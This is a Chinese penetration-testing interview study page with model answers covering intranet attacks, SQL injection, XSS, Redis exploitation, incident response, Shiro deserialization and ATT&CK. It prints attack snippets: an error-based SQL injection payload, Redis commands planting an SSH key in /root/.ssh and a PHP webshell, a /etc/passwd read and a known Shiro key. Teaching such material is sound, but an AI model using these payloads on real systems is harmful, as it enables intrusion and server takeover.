2025年渗透测试面试题总结-71(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

2. 渗透测试流程 & 内网渗透经验

3. SQL注入报错利用

4. XSS利用(反射型/DOM型)

5. Redis未授权利用

6. 应急响应流程(无安全设备场景)

7. 手动检测Shiro反序列化漏洞

8. 漏洞研究与开发能力

9. Hook技术理解

10. ATT&CK框架应用深度

2、渗透测试流程,有没有打过内网
3、SQL注入,报错
4、XSS,反射/DOM型,怎么利用
5、Redis的利用
6、应急响应能力怎么样,处置流程思路
7、无态势感知,安全设备,怎样手动发现shiro反序列化漏洞进来都攻击
8、平时有分析研究漏洞吗,编写exp,熟悉什么开发语言
9、关于hook了解
10、ATT&CK框架了解吗、到什么程度,是否有过应用

2. 渗透测试流程 & 内网渗透经验

渗透测试标准流程 (PTES框架精简版):

  1. 情报收集:资产探测(域名/端口/服务)、员工信息、供应链漏洞
  2. 威胁建模:确定高价值目标(数据库、域控)、绘制攻击路径
  3. 漏洞分析:自动化扫描 + 手动验证(避免误报)
  4. 渗透利用:获取初始立足点 → 权限提升 → 横向移动
  5. 后渗透:敏感数据定位、权限维持(后门/黄金票据)、痕迹清理
  6. 报告输出:风险评级、漏洞复现步骤、修复方案

内网渗透实战要点:

  • ✔️ 打点案例:通过Web应用漏洞(如Spring Boot Actuator未授权)进入内网
  • ✔️ 横向移动
    • 协议利用:NTLM Relay攻击、SMB爆破/MS17-010
    • 凭据窃取:Mimikatz提取密码、Kerberoasting攻击SPN账户
  • ✔️ 域控突破:利用AD组策略漏洞(GPP密码解密)、ZeroLogon (CVE-2020-1472)
  • ✔️ 隐蔽隧道:DNS/ICMP隧道绕过网络监控,使用Chisel进行端口转发

3. SQL注入报错利用

报错注入核心原理:触发数据库强制报错,使错误信息包含查询结果
经典Payload示例

sql' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)--

关键利用场景

  • 数据库版本识别:@@version
  • 数据提取:CONCAT((SELECT user()),0x3a,...)
  • 文件读取:LOAD_FILE('/etc/passwd')(需FILE权限)
  • OOB外带数据:结合DNS查询(如Oracle的UTL_HTTP)

4. XSS利用(反射型/DOM型)

类型利用场景实战案例
反射型钓鱼攻击、Cookie劫持伪造登录页诱导用户提交凭证
DOM型前端框架漏洞(如AngularJS沙箱逃逸)修改客户端代码绕过安全检测
高级利用技巧
  • CORS绕过:利用信任域发起跨域请求窃取数据
  • 结合CSRF:触发敏感操作(如修改密码)
  • 浏览器漏洞:配合BeEF框架利用浏览器0day(如CVE-2023-3079)

5. Redis未授权利用

四大攻击路径

  1. 写入SSH公钥
    bashredis-cli -h 目标IP flushall redis-cli -h 目标IP set payload "公钥内容" redis-cli -h 目标IP config set dir /root/.ssh/ redis-cli -h 目标IP config set dbfilename authorized_keys 
  2. Webshell写入
    redisconfig set dir /var/www/html config set dbfilename shell.php set x "<?php system($_GET['cmd']);?>" save 
  3. 主从复制RCE:利用模块如RedisRogue
  4. Crontab定时任务:写入反弹Shell脚本

6. 应急响应流程(无安全设备场景)

处置四步法

  1. 快速隔离
    • 拔网线 > 防火墙阻断 > 关机(权衡业务影响)
  2. 痕迹固定
    • 内存镜像(Volatility)
    • 磁盘快照(dd / FTK Imager)
  3. 入侵溯源
    • 重点检查:计划任务、启动项、异常进程(ps -aux | grep可疑名
    • 日志分析:
      bashgrep -E 'Accepted|Failed' /var/log/auth.log # SSH登录审计 journalctl -u sshd --since "2 hours ago" # 时间范围检索 
  4. 恢复加固
    • 重置所有凭证(包括服务账户)
    • 修补漏洞(参考MITRE CVE数据库)

7. 手动检测Shiro反序列化漏洞

无设备条件下的三步排查法

  1. 特征识别
    • 检查Cookie中是否存在rememberMe=deleteMe
    • 观察HTTP响应头中的Set-Cookie: rememberMe=...
  2. 密钥爆破
    • 使用工具ShiroAttack2 爆破常见密钥(kPH+bIxk5D2deZiIxcaaaA==)
  3. 流量分析
    • Wireshark过滤特征:TCP contains "rememberMe"
    • 检测异常Java序列化流头:aced 0005(Hex)

8. 漏洞研究与开发能力

  • 研究方向:重点跟踪Java生态漏洞(Spring/Log4j2)、云原生漏洞(K8s提权)
  • EXP开发
    • 语言:Python(POC框架)、Go(高并发利用)、Java(内存马注入)
    • 案例:曾复现Apache Dubbo CVE-2023-23638并编写RCE利用脚本
  • 工具贡献:提交PR修复Sqlmap中Shiro密钥检测模块的误报问题

9. Hook技术理解

安全领域的Hook应用

类型实现方式防御对抗用途
用户态Detours(Windows API劫持)监控敏感API调用(如WriteProcessMemory)
内核态SSDT Hook(Windows)隐藏进程/端口
浏览器Chrome扩展(manifest V3)检测恶意JS执行链
实战案例
  • 使用Frida框架Hook Android应用SSL证书验证函数绕过双向认证

10. ATT&CK框架应用深度

掌握程度

  • 矩阵映射:在报告中标注攻击技术ID(如T1059.004 - PowerShell)
  • 战术应用
    • 红队:基于TA0008(横向移动)设计域渗透路径
    • 蓝队:针对T1547.001(注册表自启动)部署EDR检测规则
      项目实践
  1. 利用ATT&CK Navigator设计企业威胁覆盖热力图
  2. 将蜜罐捕获的攻击行为映射到TTPs(如APT29常用T1078.004 - 云账户)
  3. 开发自动化工具关联Sigma规则与ATT&CK技术编号

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/97716.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/97716.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Echarts+HTML5可视化数据大屏展示-茶园大数据平台指挥舱

效果展示&#xff1a;代码结构&#xff1a;主要代码实现 index.html布局 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0&quo…

华为网路设备学习-33(BGP协议 八)BGP路由 选路规则

一、目标与背景BGP路由特性&#xff1a;支持丰富的路径属性选路规则多样注&#xff1a;在BGP路由表中最优选&#xff0c;不一定是路由表中的最优选。有可能存在静态路由或者ospf路由等&#xff0c;其优先级高于BGP路由。二、选路规则概述从1到12&#xff0c;依次对比优先级。一…

深度学习(七):梯度下降

梯度下降&#xff08;Gradient Descent&#xff09;是深度学习中最核心的优化方法之一&#xff0c;它通过迭代更新模型参数&#xff0c;使得损失函数达到最小值&#xff0c;从而训练出性能良好的神经网络模型。 基础原理 损失函数 在深度学习中&#xff0c;损失函数 L(θ) 是衡…

常见岩性分类与油气勘探意义笔记

常见岩性分类与油气勘探意义笔记 相关科普视频可查看【说说岩石的分类-哔哩哔哩】 一、岩石基本分类体系 根据成因&#xff0c;自然界岩石可分为三大类&#xff0c;其中沉积岩与油气勘探关系最为密切&#xff1a; 1. 火成岩&#xff08;岩浆岩&#xff09; 由岩浆冷却凝固…

【Kubernetes】Tomcat 启用 Prometheus 监控指标

之前出过一篇文章关于 “自定义监控指标实现业务 HPA 伸缩” &#xff0c;其中使用了 webapp 应用的指标数据&#xff08;JVM&#xff09;&#xff0c;接下来&#xff0c;这篇文章将介绍如何在通过 Tomcat 部署的 webapp 中启用 Metrics 指标&#xff0c;一起来看看吧&#xf…

JVM 三色标记算法详解!

目录1. 什么是三色标记算法&#xff1f;三种颜色及其含义&#xff1a;2. 基础三色标记算法流程 (非并发)3. 并发场景下的挑战&#xff1a;一致性问题3.1. 漏标 (Missing Live Object) - 最严重的问题3.2. 错标 (Floating Garbage) - 不那么严重的问题4. 屏障机制 (Barrier) - 解…

优化神经网络模型以提升R²值至0.99的全面方案

优化神经网络模型以提升R值至0.99的全面方案 1. 问题分析与背景 在深度学习项目中&#xff0c;提升模型的R&#xff08;决定系数&#xff09;值至0.99是一个具有挑战性的目标&#xff0c;特别是在处理复杂的时间序列数据时。我们的现有模型结合了LSTM层、自注意力机制和MLP处理…

pgNow:一款免费的PostgreSQL监控与性能诊断工具

pgNow 是一款免费的桌面工具&#xff0c;可以为 PostgreSQL 数据库提供快速集中的监控与性能诊断。 pgNow 不依赖代理&#xff0c;无需任何配置&#xff0c;可以帮助开发者或数据库管理员&#xff08;DBA&#xff09;直观地查看数据库的统计信息和关键性能指标。 功能特性 跨平…

深入理解栈与队列——从原理理解到实战应用

目录 一、引言 二、栈&#xff08;Stack&#xff09; 2.1 栈的基本概念 2.2 栈的使用 2.3 栈的模拟实现 2.4 栈的实战应用 2.4.1 括号匹配 2.4.2 逆波兰表达式求值 2.4.3 出栈入栈次序匹配 2.4.4 最小栈 三、队列&#xff08;Queue&#xff09; 3.1 队列的基本概念 …

用html5写王者荣耀之王者坟墓的游戏2deepseek版

我将为您创建一个王者荣耀英雄坟墓游戏的提词器HTML页面。这个工具将帮助游戏主播或玩家在游戏中快速查看英雄技能、连招顺序等信息。设计思路 创建英雄选择界面实现提词器显示区域&#xff0c;可自定义文本内容添加字体大小、滚动速度控制设计符合王者荣耀风格的UI下面是…

轻阅读:一键解决浏览器无法预览Office文档的实用方案

在日常办公中&#xff0c;通过浏览器直接打开Word、Excel或PPT等文档时&#xff0c;常遇到“需下载后用本地软件打开”的困扰&#xff0c;不仅流程繁琐&#xff0c;还面临格式兼容、设备存储不足等问题。轻阅读&#xff08;QingYueDu&#xff09;作为一款轻量级文件在线预览工具…

鸿蒙开发实战项目(六十七):常见组件和容器低代码开发示例(ArkTS)

本文详细代码需订阅下面专栏获取(订阅后私信邮箱+项目名): https://blog.csdn.net/m0_68036862/category_12333038.html 目录 介绍 环境搭建 代码结构解读 创建低代码工程 低代码设计界面布局 实现数据动态渲染 手动创建低代码页面 介绍 本篇Codelab是基于ArkTS语言的…

MySQL学习笔记04-DML-数据的增删改

新增数据--insert样例代码-- DML : 数据操作语言 -- DML : 插入数据 - insert -- 1. 为 emp 表的 username, password, name, gender, phone 字段插入值 insert into emp (username,password,name,gender,phone) values(fei,123456,张飞,1,13888888888);-- 2. 为 emp 表的 所有…

拼多多返利app的服务网格(Service Mesh)实践:Istio在导购系统中的应用

拼多多返利app的服务网格&#xff08;Service Mesh&#xff09;实践&#xff1a;Istio在导购系统中的应用 大家好&#xff0c;我是阿可&#xff0c;微赚淘客系统及省赚客APP创始人&#xff0c;是个冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在拼多多返利app的…

【RabbitMQ】高级特性:持久性·发送方确认·重试机制·TTL·死信队列·延迟队列·事务·消息分发

RabbitMQ的高级特性还包括我的上篇博客 【RabbitMQ】-----详解RabbitMQ高级特性之消息确认机制-CSDN博客 目录 RabbitMQ高级特性之持久性 持久性 交换机持久化 队列持久化消息持久化 RabbitMQ高级特性之发送方确认机制 发送方确认 添加配置 常量类 声明队列和交换机…

鸿蒙Next ArkWeb网页多媒体开发实战:从基础到高级应用

解锁鸿蒙ArkWeb的强大多媒体能力&#xff0c;让网页视频音频体验媲美原生应用在日常应用开发中&#xff0c;我们经常需要在应用中嵌入网页并展示其中的多媒体内容。鸿蒙HarmonyOS Next的ArkWeb组件提供了强大的网页渲染能力&#xff0c;尤其对网页中的多媒体元素有出色的支持。…

06. Linux进程概念 1

Linux进程概念 冯诺依曼体系 冯诺依曼体系结构&#xff08;Von Neumann Architecture&#xff09;是现代计算机设计的奠基石&#xff0c;由数学家约翰冯诺依曼于1945年提出。这一架构彻底改变了早期计算机“硬件即程序”的设计方式&#xff0c;使得计算机可以灵活地运行不同程序…

HTTP标头全解析:保护你的Web应用!

在网络攻击频发的时代&#xff0c;你的Web应用是否像一座没有城墙的城堡&#xff0c;任由XSS、点击劫持和中间人攻击入侵&#xff1f;HTTP标头&#xff0c;这些看似不起眼的响应头&#xff0c;其实是Web安全的隐形守护者。想象一个电商网站&#xff0c;用户数据被窃取&#xff…

rt-linux下__slab_alloc里的另外一处可能睡眠的逻辑

一、背景 在之前的博客 tasklet上下文内存分配触发might_alloc检查及同步回收调用链 里&#xff0c;我们讲了一处内存分配时会引起睡眠的调用链&#xff08;这个引起睡眠的这个调用链它是在普通linux里也是存在的&#xff09;。这篇博客里&#xff0c;我们讲一处内存分配路径下…

基于STM32F103C8T6的智能环境监测系统:DHT11温湿度检测与OLED显示实现

引言 你是否曾想实时握身边环境的温湿度变化&#xff1f;无论是居家种植需要精准调控环境&#xff0c;还是实验室存放敏感材料需监控条件&#xff0c;亦或是智能座舱场景下的环境感知&#xff0c;智能环境监测系统正成为连接物理世界与数字管理的重要桥梁。而在众多嵌入式开发…